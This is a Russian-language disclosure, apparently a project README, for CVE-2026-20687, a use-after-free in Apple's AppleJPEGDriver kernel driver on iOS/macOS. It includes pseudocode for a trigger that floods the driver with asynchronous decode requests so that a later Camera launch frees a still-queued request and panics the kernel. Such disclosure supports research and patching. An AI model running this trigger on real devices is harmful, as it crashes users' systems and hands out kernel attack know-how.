
CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — уязвимость ядра iOS/macOS, приводящая к отложенной панике (A19 Pro, iOS 26.3 RC)
CVE-2026-20687 | Автор: Johnny Franks (@zeroxjf)
Компонент: Kernel
Воздействие: Приложение может вызвать неожиданное завершение работы системы или запись в память ядра
Описание: Проблема использования после освобождения была устранена с помощью улучшенного управления памятью.
Это вызовет панику ядра на вашем устройстве. Сохраните свою работу.
Протестировано на iOS 26.3 (23D125) на iPhone18,2 (iPhone 17 Pro Max, A19 Pro).
Прямой триггер:
// PoC: инициализирует драйвер; паника обычно откладывается до открытия Camera.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
startDecoder_async(); // queue_io_gated(): vector.push(req + 0x78)
}
IOServiceClose(conn);
// Позже открытие Camera вызывает:
startDecoder_sync();
queue_io_gated(): vector.push(req + 0x78);
wait(10s) -> TIMEOUT;
pool_free(req); // ОШИБКА: не удаляет из очереди (req + 0x78)
// Ещё позже (finish_io_gated):
fullSpeedRequestExist():
node_ptr = vector[i]; // устаревший: node_ptr == (освобождённый req + 0x78)
req2 = *(node_ptr + 0x8); // UAF чтение req+0x80 -> ошибка тега MTE -> паника
ios-app/Test.xcodeproj в Xcode